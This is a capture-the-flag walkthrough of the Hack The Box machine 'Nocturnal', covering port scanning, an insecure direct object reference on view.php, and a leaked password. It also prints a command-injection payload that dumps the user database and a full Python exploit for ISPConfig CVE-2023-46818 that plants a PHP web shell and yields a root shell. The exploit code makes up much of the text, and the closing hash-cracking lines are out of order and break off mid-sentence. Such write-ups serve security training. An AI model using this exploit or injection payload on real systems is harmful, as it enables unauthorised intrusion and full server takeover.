Nocturnal
https://app.hackthebox.com/machines/Nocturnal
Last updated
https://app.hackthebox.com/machines/Nocturnal
Last updated
[*] Running initial Nmap scan...
sudo nmap -sCV -T4 10.10.11.64 -oA nmap-initial
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 18:59 CEST
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
In the website we can register a User and upload some files.
Intercepting the request of viewing a file we detect possible entrypoint and send it to the repeater:
GET /view.php?username=htb%40htb.com&file=file.pdf HTTP/1.1
Host: nocturnal.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://nocturnal.htb/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3if78g1uefu5ld57otpvgst9k5
Connection: keep-alive
Adding an asterix to the query we try to get files from other users:
Starting the intruder with /seclists/Usernames/xato-net-10-million-usernames.txt we find some other user files. While grepping for "Available files for download" we find some users. Admin and tobias have no files but amanda got one interesting privacy.odt
Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.
Yours sincerely,
Nocturnal's IT team
We are login in using these credentials.
We can see some juice-files at the Admin-Panel:
<?php
session_start();
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$result = $stmt->execute()->fetchArray();
if ($result && md5($password) === $result['password']) {
$_SESSION['user_id'] = $result['id'];
$_SESSION['username'] = $username;
header('Location: dashboard.php');
exit();
} else {
$error = 'Invalid username or password.';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<h1>Login</h1>
<?php if (isset($error)): ?>
<p class="error"><?php echo $error; ?></p>
<?php endif; ?>
<form method="post">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
<a href="register.php">Don't have an account? Register here</a>
</div>
</body>
</html>
Moreover we find a vulnerability when we test the creating backup function at the bottom.
After some testing we find a dump with hashes:
POST /admin.php?view=dashboard.php HTTP/1.1
Host: nocturnal.htb
Content-Length: 108
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://nocturnal.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://nocturnal.htb/admin.php?view=dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=eijjmosqk4m5ggpfg3fa7uosru
Connection: keep-alive
password=%0Abash%09-
c%09"sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump"%0A
&backup=
INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');
INSERT INTO users VALUES(6,'kavi','f38cde1654b39fea2bd4f72f1ae4cdda');
INSERT INTO users VALUES(7,'e0Al5','101ad4543a96a7fd84908fd0d802e7db');
We can login as tobias
â ssh tobias@nocturnal.htb
tobias@nocturnal.htb's password: slowmotionapocalypse
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Beside the port 80 we know we find another websever running on port 8080
tobias@nocturnal:~$ netstat -tupln
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
We gonna forward this via ssh
â ssh -L 8080:127.0.0.1:8080 tobias@nocturnal.htb
tobias@nocturnal.htb's password: slowmotionapocalypse
bind [127.0.0.1]:8080: Address already in use
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)
The password of tobias as admin does work here as well.
The the Help Panel we detect ISPConfig Version: 3.2.10p1
git clone https://github.com/blindma1den/CVE-2023-46818-Exploit.git
cd CVE-2023-46818-Exploit
python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse
[+] Logging in as 'admin'
[+] Login successful.
[+] Injecting PHP shell...
[+] Shell dropped at 'sh.php'
[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.
ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)
In case you havin trouble because of the missing crsf-cookie you can use this script, same usage.
import requests
import sys
import base64
import string
import random
def format_url(url):
if not url.startswith(('http://', 'https://')):
raise ValueError("URL must start with http:// or https://")
return url if url.endswith('/') else url + '/'
def login(session, base_url, username, password):
print(f"[+] Logging in as '{username}'")
login_url = base_url + "login/"
data = {
'username': username,
'password': password,
's_mod': 'login'
}
response = session.post(login_url, data=data, verify=False)
if "Username or Password wrong" in response.text:
sys.exit("[-] Login failed.")
print("[+] Login successful.")
print(f"[+] Cookies set: {session.cookies.get_dict()}")
return session
def get_csrf_tokens(response_text):
try:
csrf_id = response_text.split('_csrf_id" value="')[1].split('"')[0]
csrf_key = response_text.split('_csrf_key" value="')[1].split('"')[0]
return csrf_id, csrf_key
except IndexError:
print("[-] Warning: Couldn't extract CSRF tokens using standard method.")
# Try alternative extraction methods if needed
try:
# More robust regex or alternative extraction could be added here
csrf_id = response_text.split('name="_csrf_id" value="')[1].split('"')[0]
csrf_key = response_text.split('name="_csrf_key" value="')[1].split('"')[0]
return csrf_id, csrf_key
except:
sys.exit("[-] Failed to extract CSRF tokens.")
def inject_shell(session, base_url):
print("[+] Injecting PHP shell...")
php_payload = "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
encoded_payload = base64.b64encode(php_payload.encode()).decode()
payload = f"'];file_put_contents('sh.php',base64_decode('{encoded_payload}'));die;#"
lang_file = ''.join(random.choices(string.ascii_letters, k=8)) + ".lng"
edit_url = base_url + "admin/language_edit.php"
data = {
'lang': 'en',
'module': 'help',
'lang_file': lang_file
}
response = session.post(edit_url, data=data, verify=False)
csrf_id, csrf_key = get_csrf_tokens(response.text)
data.update({
'_csrf_id': csrf_id,
'_csrf_key': csrf_key,
'records[\\]': payload
})
session.post(edit_url, data=data, verify=False)
print("[+] Shell dropped at 'sh.php'")
def interactive_shell(session, base_url):
print("[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.")
shell_url = base_url + "admin/sh.php"
while True:
try:
cmd = input("\nispconfig-shell# ")
if cmd.lower() == "exit":
print("[+] Bye!")
break
headers = {'C': base64.b64encode(cmd.encode()).decode()}
response = session.get(shell_url, headers=headers, verify=False)
if "____" in response.text:
output = response.text.split("____")[1]
print(output.strip())
else:
print("[-] No output or execution failed.")
except KeyboardInterrupt:
print("\n[+] Interrupted. Exiting.")
break
def main():
if len(sys.argv) != 4:
print(f"Usage: python {sys.argv[0]} <URL> <Username> <Password>")
sys.exit(1)
url = format_url(sys.argv[1])
username = sys.argv[2]
password = sys.argv[3]
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session = login(session, url, username, password)
inject_shell(session, url)
interactive_shell(session, url)
if __name__ == "__main__":
main()
Throwing these hashes into a file and cracking them using :
With that information we find the